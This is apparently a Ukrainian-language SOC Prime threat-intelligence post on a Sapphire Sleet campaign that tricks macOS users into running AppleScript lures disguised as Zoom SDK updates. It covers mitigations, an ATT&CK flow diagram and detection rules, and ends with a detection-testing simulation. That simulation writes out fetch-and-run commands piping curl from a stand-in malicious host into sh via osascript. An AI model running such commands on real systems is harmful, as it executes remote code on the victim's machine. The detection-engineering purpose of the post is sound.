SOC Prime Bias: Критичний

17 Apr 2026 18:42

Розбираємо macOS вторгнення Sapphire Sleet: від приманки до компромісу

Author Photo
SOC Prime Team linkedin icon Стежити
Розбираємо macOS вторгнення Sapphire Sleet: від приманки до компромісу
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Microsoft Threat Intelligence повідомляє про кампанію, орієнтовану на macOS, яка приписується північнокорейському державному актору Sapphire Sleet. Операція покладається на соціальну інженерію, щоб переконати цільових осіб запустити шкідливі файли AppleScript, представлені як законне оновлення Zoom SDK. Після виконання, скрипт завантажує додаткові завантаження через curl and osascript, розширюючи проникнення в декілька етапів. Шкідливе програмне забезпечення розроблено для викрадення облікових даних, даних криптовалютних гаманців та іншої чутливої інформації, а також обходить вбудований захист macOS, щоб залишатися активним на скомпрометованих системах.

Розслідування

Розслідування окреслює багатостадійну ланцюжок зараження, що починається з .scpt файлу-приманки і продовжується через послідовність curl-до-osascript завантажень корисного навантаження. Дослідники ідентифікували декілька компонентів бекдору, включаючи com.apple.cli, службовий бінарник, icloudz, і com.google.chromes.updaters. Ворожі актори також були помічені на втручанні в базу даних macOS TCC для надання дозволів AppleEvents, використовуючи методи завантаження коду та встановлюючи збереження через демон запуску. Екфільтрація відбувалася через спеціальні строки користувача-агента і зв’язок через API Telegram Bot.

Мітигація

Apple вже випустила оновлення Safe Browsing і XProtect, щоб порушити інфраструктуру кампанії та компоненти шкідливого програмного забезпечення. Microsoft рекомендує блокувати виконання .scpt файлів, обмежувати небезпечні curl конвеєри, моніторити несанкціоновані зміни в базі даних TCC і перевіряти установки демонів запуску на наявність підозрілих записів. Користувачів слід попередити про непрохані запити на оновлення програмного забезпечення і радити не надавати облікові дані через несподівані діалоги чи скрипти.

Відповідь

Захисники повинні виявляти виконання зловмисного AppleScript, аномальні curl строки користувача-агента і вихідні з’єднання з відомими доменами командування та управління. Всі виявлені бінарні файли та демони запуску повинні бути негайно карантинізовані або видалені, після чого слід здійснити скидання облікових даних для постраждалих користувачів і перевірити цілісність бази даних TCC. Реагуючі на інциденти також повинні провести судову експертизу зібраних артефактів системи і відновити постраждалі дані з чистих резервних копій, де це необхідно.

graph TB %% Class definitions classDef technique fill:#99ccff classDef operator fill:#ff9900 %% Technique nodes tech_user_execution[“<b>Техніка</b> – <b>T1204.002 Виконання користувачем: Шкідливий файл</b><br/><b>Опис</b>: Жертву змушують запустити шкідливий файл, який ініціює проникнення.”] class tech_user_execution technique tech_trusted_dev_proxy[“<b>Техніка</b> – <b>T1127 Виконання через довірені інструменти розробника</b><br/><b>Опис</b>: Легітимні інструменти розробки використовуються як проксі для запуску шкідливого навантаження з обходом захисту.”] class tech_trusted_dev_proxy technique tech_subvert_trust[“<b>Техніка</b> – <b>T1553 Підрив механізмів довіри</b><br/><b>Опис</b>: Зловмисники маніпулюють довіреними зв’язками або конфігураціями для отримання підвищених привілеїв або виконання коду.”] class tech_subvert_trust technique tech_launch_daemon[“<b>Техніка</b> – <b>T1543.004 Створення або модифікація системного процесу: Launch Daemon</b><br/><b>Опис</b>: Створюється новий демон або змінюється існуючий для забезпечення закріплення в системі.”] class tech_launch_daemon technique tech_alt_auth_material[“<b>Техніка</b> – <b>T1550 Використання альтернативних матеріалів автентифікації</b><br/><b>Опис</b>: Викрадені або підроблені облікові дані, токени або сертифікати використовуються для входу як легітимний користувач.”] class tech_alt_auth_material technique tech_archive_lib[“<b>Техніка</b> – <b>T1560.002 Архівування зібраних даних: через бібліотеку</b><br/><b>Опис</b>: Дані стискаються за допомогою програмної бібліотеки перед ексфільтрацією.”] class tech_archive_lib technique tech_exfil_alt_proto[“<b>Техніка</b> – <b>T1048 Ексфільтрація через альтернативний протокол</b><br/><b>Опис</b>: Дані виводяться через нестандартні протоколи, такі як DNS, FTP або кастомні порти.”] class tech_exfil_alt_proto technique tech_dynamic_resolution[“<b>Техніка</b> – <b>T1568 Динамічне резолювання</b><br/><b>Опис</b>: Інфраструктура керування визначається під час виконання, часто через DNS або інші запити.”] class tech_dynamic_resolution technique tech_reflective_loading[“<b>Техніка</b> – <b>T1620 Рефлективне завантаження коду</b><br/><b>Опис</b>: Шкідливий код завантажується напряму в пам’ять без запису на диск.”] class tech_reflective_loading technique tech_system_binary_proxy[“<b>Техніка</b> – <b>T1218.003 Виконання через системні бінарні проксі</b><br/><b>Опис</b>: Довірені системні бінарники використовуються для запуску шкідливого коду.”] class tech_system_binary_proxy technique tech_modify_auth_process[“<b>Техніка</b> – <b>T1556.001 Модифікація процесу автентифікації: контролер домену</b><br/><b>Опис</b>: Механізми автентифікації змінюються для прийняття підроблених даних.”] class tech_modify_auth_process technique %% Connections showing attack flow tech_user_execution –>|leads_to| tech_trusted_dev_proxy tech_trusted_dev_proxy –>|enables| tech_subvert_trust tech_subvert_trust –>|creates| tech_launch_daemon tech_launch_daemon –>|uses| tech_alt_auth_material tech_alt_auth_material –>|prepares| tech_archive_lib tech_archive_lib –>|triggers| tech_exfil_alt_proto tech_exfil_alt_proto –>|facilitates| tech_dynamic_resolution tech_subvert_trust –>|employs| tech_reflective_loading tech_reflective_loading –>|updates| tech_launch_daemon tech_trusted_dev_proxy –>|leverages| tech_system_binary_proxy tech_system_binary_proxy –>|leads_to| tech_subvert_trust tech_alt_auth_material –>|supports| tech_modify_auth_process tech_modify_auth_process –>|continues| tech_exfil_alt_proto

Потік атаки

Детекції

Можливі C2 комунікації через HTTP до прямої IP з незвичайним портом (через проксі)

Команда SOC Prime
17 квітня 2026

Можливе виконання через використання chmod та nohup у одному команді (через cmdline)

Команда SOC Prime
17 квітня 2026

Перевірка облікових даних macOS через Dscl Authonly (через cmdline)

Команда SOC Prime
17 квітня 2026

Спроба виконання curl з підозрою [MacOS] (через cmdline)

Команда SOC Prime
17 квітня 2026

Архів було створено в тимчасовій теці MacOS (через file_event)

Команда SOC Prime
17 квітня 2026

Небезпечні дозволи для бінарного файлу/скрипта/теки були встановлені (через cmdline)

Команда SOC Prime
17 квітня 2026

IoCs (HashSha256) для виявлення: Аналіз проникнення Sapphire Sleet на macOS від приманки до компрометації

SOC Prime AI Rules
17 квітня 2026

IoCs (SourceIP) для виявлення: Аналіз проникнення Sapphire Sleet на macOS від приманки до компрометації

SOC Prime AI Rules
17 квітня 2026

IoCs (DestinationIP) для виявлення: Аналіз проникнення Sapphire Sleet на macOS від приманки до компрометації

SOC Prime AI Rules
17 квітня 2026

Виявлення комунікації C2 Sapphire Sleet [Linux Network Connection]

SOC Prime AI Rules
17 квітня 2026

Виявлення виконання AppleScript з каналом curl на macOS [Linux Process Creation]

SOC Prime AI Rules
17 квітня 2026

Виконання симуляції

Попередня умова: Телеметрія та базова перевірка повинні були бути пройдені.

Обґрунтування: Цей розділ детально описує точне виконання техніки атаки (ТТК), призначеної для активації правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати ідентифіковані ТТК та спрямовані на генерацію точного телеметрії, очікуваного логікою виявлення.

  • Опис нападу та команди:
    Противник отримав зловмисний скрипт PowerShell-style, розміщений на віддаленому сервері. Щоб уникнути створення самостійного бінарного файлу, вони використовують вбудований інтерпретатор AppleScript (osascript) і передають curl завантаження безпосередньо в інтерпретатор, досягаючи «завантаження і виконання» в одній команді. Це відповідає правилу osascript + curl шаблоном.

    # Зловмисний командний рядок, що повинен активувати правило
    osascript -e 'do shell script "curl -s https://malicious.example.com/payload.sh | sh"'

    Командний рядок містить як osascript and curl, тому умови правила Sigma (selection_osascript and selection_curl) оцінюється як істинність.

  • Скрипт регресійного тестування:

    # simulate_osascript_curl.sh
    # Мета: Відтворити точну телеметрію, що повинна спрацьовувати правило виявлення.
    set -e
    
    # Визначити безпечний корисний навантаження для безпеки (echo замість справжнього зловмисного коду)
    MALICIOUS_URL="https://example.com/benign_payload.sh"
    
    # Створити хибний безпечний корисний вантаж, що просто виводить повідомлення.
    # У реальному тесті red‑team ви б розмістили реальний скрипт; тут ми зберігаємо його безпечно.
    curl -s -o /tmp/benign_payload.sh "$MALICIOUS_URL" || true
    
    # Виконати AppleScript з curl, переданим у команду shell.
    osascript -e "do shell script "curl -s $MALICIOUS_URL | sh""
  • Команди очищення:

    # cleanup_osascript_curl.sh
    # Видалити всі тимчасові файли і завершити непотрібні процеси.
    rm -f /tmp/benign_payload.sh
    pkill -f "osascript -e"